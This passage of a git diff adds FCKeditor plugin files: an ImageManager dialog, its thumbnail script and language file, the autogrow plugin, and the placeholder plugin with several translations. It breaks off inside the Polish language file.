new file mode 100755 (executable)
index 0000000..64108ab
--- /dev/null
@@ -0,0 +1,25 @@
+// I18N constants
+
+// LANG: "sv", ENCODING: UTF-8
+// Author: Erik Dalén, <dalen@jpl.se>
+// Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+if (!this.ImageManager)
+{
+       ImageManager = new Object();
+};
+
+ImageManager.I18N = {
+       "Image Manager"                                                 : "Bildbehandlare",
+       "Crop"                                                                                  : "Beskjär"
+       // copy strings from other language files to extend translation
+};
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/manager.php b/fckeditor/editor/plugins/ImageManager/manager.php
new file mode 100755 (executable)
index 0000000..fb41dd0
--- /dev/null
@@ -0,0 +1,151 @@
+<?php
+/**
+ * The main GUI for the ImageManager.
+ * @author Wei Zhuo
+ * @version $Id: manager.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+       require_once('config.inc.php');
+       require_once('Classes/ImageManager.php');
+       
+       $manager = new ImageManager($IMConfig);
+       $dirs = $manager->getDirs();
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+<title>Insert Image</title>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<link href="assets/manager.css" rel="stylesheet" type="text/css" />    
+
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       var thumbdir = "<?php echo $IMConfig['thumbnail_dir']; ?>";
+       var base_url = "<?php echo $manager->getBaseURL(); ?>";
+       var server_name = "<?php echo $IMConfig['server_name']; ?>";
+
+       window.resizeTo(900, 500);
+
+       if(window.opener.ImageManager && window.opener.ImageManager.I18N)
+       {
+               I18N = window.opener.ImageManager.I18N;
+       }
+
+       // language object not found?
+       if (!this.I18N)
+       {
+               // Read it now - copy in next script block
+               document.write('<script type="text/javascript" src="lang/' + window.opener._editor_lang + '.js"><\/script>');
+       }
+
+/*]]>*/
+</script>
+
+<script type="text/javascript">
+/*<![CDATA[*/
+
+       // now copy the language object of the included script - needed a seperate new script block to be able to do so
+       if (!this.I18N)
+       {
+               I18N = this.ImageManager.I18N;
+       }
+
+/*]]>*/
+</script>
+
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript" src="assets/manager.js"></script>
+
+</head>
+
+<body>
+<div class="title">Insert Image</div>
+<form action="images.php" id="uploadForm" method="post" enctype="multipart/form-data">
+<fieldset><legend>Image Manager</legend>
+<div class="dirs">
+       <label for="dirPath">Directory</label>
+       <select name="dir" class="dirWidth" id="dirPath" onchange="updateDir(this)">
+       <option value="/">/</option>
+<?php foreach($dirs as $relative=>$fullpath) { ?>
+               <option value="<?php echo rawurlencode($relative); ?>"><?php echo $relative; ?></option>
+<?php } ?>
+       </select>
+       <a href="#" onclick="javascript: goUpDir();" title="Directory Up"><img src="img/btnFolderUp.gif" height="15" width="15" alt="Directory Up" /></a>
+<?php if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
+       <a href="#" onclick="newFolder();" title="New Folder"><img src="img/btnFolderNew.gif" height="15" width="15" alt="New Folder" /></a>
+<?php } ?>
+       <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+       <iframe src="images.php" name="imgManager" id="imgManager" class="imageFrame" scrolling="auto" title="Image Selection" frameborder="0"></iframe>
+</div>
+</fieldset>
+<!-- image properties -->
+       <table class="inputTable">
+               <tr>
+                       <td align="right"><label for="f_url">Image File</label></td>
+                       <td><input type="text" id="f_url" class="largelWidth" value="" /></td>
+                       <td rowspan="3" align="right">&nbsp;</td>
+                       <td align="right"><label for="f_width">Width</label></td>
+                       <td><input type="text" id="f_width" class="smallWidth" value="" onchange="javascript:checkConstrains('width');"/></td>
+                       <td rowspan="2" align="right"><img src="img/locked.gif" id="imgLock" width="25" height="32" alt="Constrained Proportions" /></td>
+                       <td rowspan="3" align="right">&nbsp;</td>
+                       <td align="right"><label for="f_vert">V Space</label></td>
+                       <td><input type="text" id="f_vert" class="smallWidth" value="" /></td>
+               </tr>           
+               <tr>
+                       <td align="right"><label for="f_alt">Alt</label></td>
+                       <td><input type="text" id="f_alt" class="largelWidth" value="" /></td>
+                       <td align="right"><label for="f_height">Height</label></td>
+                       <td><input type="text" id="f_height" class="smallWidth" value="" onchange="javascript:checkConstrains('height');"/></td>
+                       <td align="right"><label for="f_horiz">H Space</label></td>
+                       <td><input type="text" id="f_horiz" class="smallWidth" value="" /></td>
+               </tr>
+               <tr>
+<?php if($IMConfig['allow_upload'] == true) { ?>
+                       <td align="right"><label for="upload">Upload</label></td>
+                       <td>
+                               <table cellpadding="0" cellspacing="0" border="0">
+                  <tr>
+                    <td><input type="file" name="upload" id="upload"/></td>
+                    <td>&nbsp;<button type="submit" name="submit" onclick="doUpload();"/>Upload</button></td>
+                  </tr>
+                </table>
+                       </td>
+<?php } else { ?>
+                       <td colspan="2"></td>
+<?php } ?>
+                       <td align="right"><label for="f_align">Align</label></td>
+                       <td colspan="2">
+                               <select size="1" id="f_align"  title="Positioning of this image">
+                                 <option value=""                             >Not Set</option>
+                                 <option value="left"                         >Left</option>
+                                 <option value="right"                        >Right</option>
+                               </select>
+                       </td>
+                       <td align="right"><label for="f_border">Border</label></td>
+                       <td><input type="text" id="f_border" class="smallWidth" value="" /></td>
+               </tr>
+               <tr> 
+         <td colspan="4" align="right">
+                               <input type="hidden" id="orginal_width" />
+                               <input type="hidden" id="orginal_height" />
+            <input type="checkbox" id="constrain_prop" checked="checked" onclick="javascript:toggleConstrains(this);" />
+          </td>
+          <td colspan="5"><label for="constrain_prop">Constrain Proportions</label></td>
+      </tr>
+       </table>
+<!--// image properties -->    
+       <div style="text-align: right;"> 
+          <hr />
+                 <button type="button" class="buttons" onclick="return refresh();">Refresh</button>
+          <button type="button" class="buttons" onclick="return onOK();">OK</button>
+          <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+    </div>
+       <input type="hidden" id="f_file" name="f_file" />
+</form>
+</body>
+</html>
diff --git a/fckeditor/editor/plugins/ImageManager/newFolder.html b/fckeditor/editor/plugins/ImageManager/newFolder.html
new file mode 100755 (executable)
index 0000000..4b7c703
--- /dev/null
@@ -0,0 +1,78 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+<title>New Folder</title>
+ <style type="text/css">
+ /*<![CDATA[*/
+ html, body {  background-color: ButtonFace;  color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+ .title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px  solid black; letter-spacing: 2px;}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+form { padding: 0px;  margin: 0;}
+form .elements{
+       padding: 10px; text-align: center;
+}
+ /*]]>*/
+ </style>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+       window.resizeTo(300, 170);
+
+       if(window.opener)
+               I18N = window.opener.I18N;
+
+       init = function () 
+       {
+               __dlg_init();
+               __dlg_translate(I18N);
+               document.getElementById("f_foldername").focus();
+       }
+
+       function onCancel() 
+       {
+               __dlg_close(null);
+               return false;
+       }
+
+       function onOK() 
+       {
+                // pass data back to the calling window
+         var fields = ["f_foldername"];
+         var param = new Object();
+         for (var i in fields) {
+               var id = fields[i];
+               var el = document.getElementById(id);
+               param[id] = el.value;
+         }
+         __dlg_close(param);
+         return false;
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+       
+       addEvent(window, 'load', init);
+//-->
+</script>
+</head>
+<body >
+<div class="title">New Folder</div>
+<form action="">
+<div class="elements">
+       <label for="f_foldername">Folder Name:</label>
+       <input type="text" id="f_foldername" />
+</div>
+<div style="text-align: right;"> 
+         <hr />
+         <button type="button" class="buttons" onclick="return onOK();">OK</button>
+         <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+</div>
+</form>
+</body>
+</html>
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/thumbs.php b/fckeditor/editor/plugins/ImageManager/thumbs.php
new file mode 100755 (executable)
index 0000000..94fcd79
--- /dev/null
@@ -0,0 +1,82 @@
+<?php
+/**
+ * On the fly Thumbnail generation.
+ * Creates thumbnails given by thumbs.php?img=/relative/path/to/image.jpg
+ * relative to the base_dir given in config.inc.php
+ * @author Wei Zhuo
+ * @version $Id: thumbs.php,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/Thumbnail.php');
+
+//check for img parameter in the url
+if(!isset($_GET['img']))
+       exit();
+
+
+$manager = new ImageManager($IMConfig);
+
+//get the image and the full path to the image
+$image = rawurldecode($_GET['img']);
+$fullpath = Files::makeFile($manager->getBaseDir(),$image);
+
+//not a file, so exit
+if(!is_file($fullpath))
+       exit();
+
+$imgInfo = @getImageSize($fullpath);
+
+//Not an image, send default thumbnail
+if(!is_array($imgInfo))
+{
+       //show the default image, otherwise we quit!
+       $default = $manager->getDefaultThumb();
+       if($default)
+       {
+               header('Location: '.$default);
+               exit();
+       }
+}
+//if the image is less than the thumbnail dimensions
+//send the original image as thumbnail
+if ($imgInfo[0] <= $IMConfig['thumbnail_width']
+ && $imgInfo[1] <= $IMConfig['thumbnail_height'])
+ {
+        header('Location: '.$manager->getFileURL($image));
+        exit();
+ }
+
+//Check for thumbnails
+$thumbnail = $manager->getThumbName($fullpath);
+if(is_file($thumbnail))
+{
+       //if the thumbnail is newer, send it
+       if(filemtime($thumbnail) >= filemtime($fullpath))
+       {
+               header('Location: '.$manager->getThumbURL($image));
+               exit();
+       }
+}
+
+//creating thumbnails
+$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
+$thumbnailer->createThumbnail($fullpath, $thumbnail);
+
+//Check for NEW thumbnails
+if(is_file($thumbnail))
+{
+       //send the new thumbnail
+       header('Location: '.$manager->getThumbURL($image));
+       exit();
+}
+else
+{
+       //show the default image, otherwise we quit!
+       $default = $manager->getDefaultThumb();
+       if($default)
+               header('Location: '.$default);
+}
+?>
diff --git a/fckeditor/editor/plugins/autogrow/fckplugin.js b/fckeditor/editor/plugins/autogrow/fckplugin.js
new file mode 100755 (executable)
index 0000000..42c86e4
--- /dev/null
@@ -0,0 +1,96 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckplugin.js
+ *     Plugin: automatically resizes the editor until a configurable maximun 
+ *     height (FCKConfig.AutoGrowMax), based on its contents.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var FCKAutoGrow_Min = window.frameElement.offsetHeight ;
+
+function FCKAutoGrow_Check()
+{
+       var oInnerDoc = FCK.EditorDocument ;
+
+       var iFrameHeight, iInnerHeight ;
+       
+       if ( FCKBrowserInfo.IsIE )
+       {
+               iFrameHeight = FCK.EditorWindow.frameElement.offsetHeight ;
+               iInnerHeight = oInnerDoc.body.scrollHeight ;
+       }
+       else
+       {
+               iFrameHeight = FCK.EditorWindow.innerHeight ;
+               iInnerHeight = oInnerDoc.body.offsetHeight ;
+       }
+
+       var iDiff = iInnerHeight - iFrameHeight ;
+
+       if ( iDiff != 0 )
+       {
+               var iMainFrameSize = window.frameElement.offsetHeight ;
+               
+               if ( iDiff > 0 && iMainFrameSize < FCKConfig.AutoGrowMax )
+               {
+                       iMainFrameSize += iDiff ;
+                       if ( iMainFrameSize > FCKConfig.AutoGrowMax )
+                               iMainFrameSize = FCKConfig.AutoGrowMax ;
+               }
+               else if ( iDiff < 0 && iMainFrameSize > FCKAutoGrow_Min )
+               {
+                       iMainFrameSize += iDiff ;
+                       if ( iMainFrameSize < FCKAutoGrow_Min )
+                               iMainFrameSize = FCKAutoGrow_Min ;
+               }
+               else
+                       return ;
+                       
+               window.frameElement.height = iMainFrameSize ;
+       }
+}
+
+FCK.AttachToOnSelectionChange( FCKAutoGrow_Check ) ;
+
+function FCKAutoGrow_SetListeners()
+{
+       if ( FCK.EditMode != FCK_EDITMODE_WYSIWYG )
+               return ;
+
+       FCK.EditorWindow.attachEvent( 'onscroll', FCKAutoGrow_Check ) ;
+       FCK.EditorDocument.attachEvent( 'onkeyup', FCKAutoGrow_Check ) ;
+}
+
+if ( FCKBrowserInfo.IsIE )
+{
+//     FCKAutoGrow_SetListeners() ;
+       FCK.Events.AttachEvent( 'OnAfterSetHTML', FCKAutoGrow_SetListeners ) ;
+}
+
+function FCKAutoGrow_CheckEditorStatus( sender, status )
+{
+       if ( status == FCK_STATUS_COMPLETE )
+               FCKAutoGrow_Check() ;
+}
+
+FCK.Events.AttachEvent( 'OnStatusChange', FCKAutoGrow_CheckEditorStatus ) ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/fck_placeholder.html b/fckeditor/editor/plugins/placeholder/fck_placeholder.html
new file mode 100755 (executable)
index 0000000..ee536dd
--- /dev/null
@@ -0,0 +1,104 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_placeholder.html
+ *     Placeholder Plugin.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Placeholder Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script language="javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang = oEditor.FCKLang ;
+var FCKPlaceholders = oEditor.FCKPlaceholders ;
+
+window.onload = function ()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+       
+       LoadSelected() ;
+       
+       // Show the "Ok" button.
+       window.parent.SetOkButton( true ) ;     
+}
+
+var eSelected = oEditor.FCKSelection.GetSelectedElement() ;
+
+function LoadSelected()
+{
+       if ( !eSelected )
+               return ;
+
+       if ( eSelected.tagName == 'SPAN' && eSelected._fckplaceholder )
+               document.getElementById('txtName').value = eSelected._fckplaceholder ;
+       else
+               eSelected == null ;
+}
+
+function Ok()
+{
+       var sValue = document.getElementById('txtName').value ;
+       
+       if ( eSelected && eSelected._fckplaceholder == sValue )
+               return true ;
+
+       if ( sValue.length == 0 )
+       {
+               alert( FCKLang.PlaceholderErrNoName ) ;
+               return false ;
+       }
+       
+       if ( FCKPlaceholders.Exist( sValue ) )
+       {
+               alert( FCKLang.PlaceholderErrNameInUse ) ;
+               return false ;
+       }
+
+       FCKPlaceholders.Add( sValue ) ;
+       return true ;
+}
+
+               </script>
+       </head>
+       <body scroll="no" style="OVERFLOW: hidden">
+               <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr>
+                               <td>
+                                       <table cellSpacing="0" cellPadding="0" align="center" border="0">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="PlaceholderDlgName">Placeholder Name</span><br>
+                                                               <input id="txtName" type="text">
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/fckplugin.js b/fckeditor/editor/plugins/placeholder/fckplugin.js
new file mode 100755 (executable)
index 0000000..b271858
--- /dev/null
@@ -0,0 +1,191 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckplugin.js
+ *     Plugin to insert "Placeholders" in the editor.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+// Register the related command.
+FCKCommands.RegisterCommand( 'Placeholder', new FCKDialogCommand( 'Placeholder', FCKLang.PlaceholderDlgTitle, FCKPlugins.Items['placeholder'].Path + 'fck_placeholder.html', 340, 170 ) ) ;
+
+// Create the "Plaholder" toolbar button.
+var oPlaceholderItem = new FCKToolbarButton( 'Placeholder', FCKLang.PlaceholderBtn ) ;
+oPlaceholderItem.IconPath = FCKPlugins.Items['placeholder'].Path + 'placeholder.gif' ;
+
+FCKToolbarItems.RegisterItem( 'Placeholder', oPlaceholderItem ) ;
+
+
+// The object used for all Placeholder operations.
+var FCKPlaceholders = new Object() ;
+
+// Add a new placeholder at the actual selection.
+FCKPlaceholders.Add = function( name )
+{
+       var oSpan = FCK.CreateElement( 'SPAN' ) ;
+       this.SetupSpan( oSpan, name ) ;
+}
+
+FCKPlaceholders.SetupSpan = function( span, name )
+{
+       span.innerHTML = '[[ ' + name + ' ]]' ;
+
+       span.style.backgroundColor = '#ffff00' ;
+       span.style.color = '#000000' ;
+
+       if ( FCKBrowserInfo.IsGecko )
+               span.style.cursor = 'default' ;
+
+       span._fckplaceholder = name ;
+       span.contentEditable = false ;
+
+       // To avoid it to be resized.
+       span.onresizestart = function()
+       {
+               FCK.EditorWindow.event.returnValue = false ;
+               return false ;
+       }
+}
+
+// On Gecko we must do this trick so the user select all the SPAN when clicking on it.
+FCKPlaceholders._SetupClickListener = function()
+{
+       FCKPlaceholders._ClickListener = function( e )
+       {
+               if ( e.target.tagName == 'SPAN' && e.target._fckplaceholder )
+                       FCKSelection.SelectNode( e.target ) ;
+       }
+
+       FCK.EditorDocument.addEventListener( 'click', FCKPlaceholders._ClickListener, true ) ;
+}
+
+// Open the Placeholder dialog on double click.
+FCKPlaceholders.OnDoubleClick = function( span )
+{
+       if ( span.tagName == 'SPAN' && span._fckplaceholder )
+               FCKCommands.GetCommand( 'Placeholder' ).Execute() ;
+}
+
+FCK.RegisterDoubleClickHandler( FCKPlaceholders.OnDoubleClick, 'SPAN' ) ;
+
+// Check if a Placholder name is already in use.
+FCKPlaceholders.Exist = function( name )
+{
+       var aSpans = FCK.EditorDocument.getElementsByTagName( 'SPAN' ) ;
+
+       for ( var i = 0 ; i < aSpans.length ; i++ )
+       {
+               if ( aSpans[i]._fckplaceholder == name )
+                       return true ;
+       }
+
+       return false ;
+}
+
+if ( FCKBrowserInfo.IsIE )
+{
+       FCKPlaceholders.Redraw = function()
+       {
+               if ( FCK.EditMode != FCK_EDITMODE_WYSIWYG )
+                       return ;
+       
+               var aPlaholders = FCK.EditorDocument.body.innerText.match( /\[\[[^\[\]]+\]\]/g ) ;
+               if ( !aPlaholders )
+                       return ;
+
+               var oRange = FCK.EditorDocument.body.createTextRange() ;
+
+               for ( var i = 0 ; i < aPlaholders.length ; i++ )
+               {
+                       if ( oRange.findText( aPlaholders[i] ) )
+                       {
+                               var sName = aPlaholders[i].match( /\[\[\s*([^\]]*?)\s*\]\]/ )[1] ;
+                               oRange.pasteHTML( '<span style="color: #000000; background-color: #ffff00" contenteditable="false" _fckplaceholder="' + sName + '">' + aPlaholders[i] + '</span>' ) ;
+                       }
+               }
+       }
+}
+else
+{
+       FCKPlaceholders.Redraw = function()
+       {
+               if ( FCK.EditMode != FCK_EDITMODE_WYSIWYG )
+                       return ;
+       
+               var oInteractor = FCK.EditorDocument.createTreeWalker( FCK.EditorDocument.body, NodeFilter.SHOW_TEXT, FCKPlaceholders._AcceptNode, true ) ;
+
+               var     aNodes = new Array() ;
+
+               while ( ( oNode = oInteractor.nextNode() ) )
+               {
+                       aNodes[ aNodes.length ] = oNode ;
+               }
+
+               for ( var n = 0 ; n < aNodes.length ; n++ )
+               {
+                       var aPieces = aNodes[n].nodeValue.split( /(\[\[[^\[\]]+\]\])/g ) ;
+
+                       for ( var i = 0 ; i < aPieces.length ; i++ )
+                       {
+                               if ( aPieces[i].length > 0 )
+                               {
+                                       if ( aPieces[i].indexOf( '[[' ) == 0 )
+                                       {
+                                               var sName = aPieces[i].match( /\[\[\s*([^\]]*?)\s*\]\]/ )[1] ;
+
+                                               var oSpan = FCK.EditorDocument.createElement( 'span' ) ;
+                                               FCKPlaceholders.SetupSpan( oSpan, sName ) ;
+
+                                               aNodes[n].parentNode.insertBefore( oSpan, aNodes[n] ) ;
+                                       }
+                                       else
+                                               aNodes[n].parentNode.insertBefore( FCK.EditorDocument.createTextNode( aPieces[i] ) , aNodes[n] ) ;
+                               }
+                       }
+
+                       aNodes[n].parentNode.removeChild( aNodes[n] ) ;
+               }
+               
+               FCKPlaceholders._SetupClickListener() ;
+       }
+
+       FCKPlaceholders._AcceptNode = function( node )
+       {
+               if ( /\[\[[^\[\]]+\]\]/.test( node.nodeValue ) )
+                       return NodeFilter.FILTER_ACCEPT ;
+               else
+                       return NodeFilter.FILTER_SKIP ;
+       }
+}
+
+FCK.Events.AttachEvent( 'OnAfterSetHTML', FCKPlaceholders.Redraw ) ;
+
+// We must process the SPAN tags to replace then with the real resulting value of the placeholder.
+FCKXHtml.TagProcessors['span'] = function( node, htmlNode )
+{
+       if ( htmlNode._fckplaceholder )
+               node = FCKXHtml.XML.createTextNode( '[[' + htmlNode._fckplaceholder + ']]' ) ;
+       else
+               FCKXHtml._AppendChildNodes( node, htmlNode, false ) ;
+
+       return node ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/lang/de.js b/fckeditor/editor/plugins/placeholder/lang/de.js
new file mode 100755 (executable)
index 0000000..fab8873
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: de.js
+ *     Placholder German language file.
+ * 
+ * File Authors:
+ *             José Fontanil
+ */
+FCKLang.PlaceholderBtn                 = 'Einfügen/editieren Platzhalter' ;
+FCKLang.PlaceholderDlgTitle            = 'Platzhalter Eigenschaften' ;
+FCKLang.PlaceholderDlgName             = 'Platzhalter Name' ;
+FCKLang.PlaceholderErrNoName   = 'Bitte den Namen des Platzhalters schreiben' ;
+FCKLang.PlaceholderErrNameInUse        = 'Der angegebene Namen ist schon in Gebrauch' ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/lang/en.js b/fckeditor/editor/plugins/placeholder/lang/en.js
new file mode 100755 (executable)
index 0000000..0999cc6
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: en.js
+ *     Placholder English language file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+FCKLang.PlaceholderBtn                 = 'Insert/Edit Placeholder' ;
+FCKLang.PlaceholderDlgTitle            = 'Placeholder Properties' ;
+FCKLang.PlaceholderDlgName             = 'Placeholder Name' ;
+FCKLang.PlaceholderErrNoName   = 'Please type the placeholder name' ;
+FCKLang.PlaceholderErrNameInUse        = 'The specified name is already in use' ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/lang/fr.js b/fckeditor/editor/plugins/placeholder/lang/fr.js
new file mode 100755 (executable)
index 0000000..2617179
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fr.js
+ *     Placholder Italian language file.
+ * 
+ * File Authors:
+ *             Hubert Garrido (liane@users.sourceforge.net)
+ */
+FCKLang.PlaceholderBtn                 = 'Insérer/Modifier Substitut' ;
+FCKLang.PlaceholderDlgTitle            = 'Propriétés de Substitut' ;
+FCKLang.PlaceholderDlgName             = 'Nom de Substitut' ;
+FCKLang.PlaceholderErrNoName   = 'Veuillez saisir le nom de Substitut' ;
+FCKLang.PlaceholderErrNameInUse        = 'Ce nom est déjà utilisé' ;
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/placeholder/lang/it.js b/fckeditor/editor/plugins/placeholder/lang/it.js
new file mode 100755 (executable)
index 0000000..17bac1c
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: it.js
+ *     Placholder Italian language file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+FCKLang.PlaceholderBtn                 = 'Aggiungi/Modifica Placeholder' ;
+FCKLang.PlaceholderDlgTitle            = 'Proprietà del Placeholder' ;
+FCKLang.PlaceholderDlgName             = 'Nome del Placeholder' ;
+FCKLang.PlaceholderErrNoName   = 'Digitare il nome del placeholder' ;
+FCKLang.PlaceholderErrNameInUse        = 'Il nome inserito è già in uso' ;
diff --git a/fckeditor/editor/plugins/placeholder/lang/pl.js b/fckeditor/editor/plugins/placeholder/lang/pl.js
new file mode 100755 (executable)
index 0000000..d8e9b29
--- /dev/null
@@ -0,0 +1,31 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
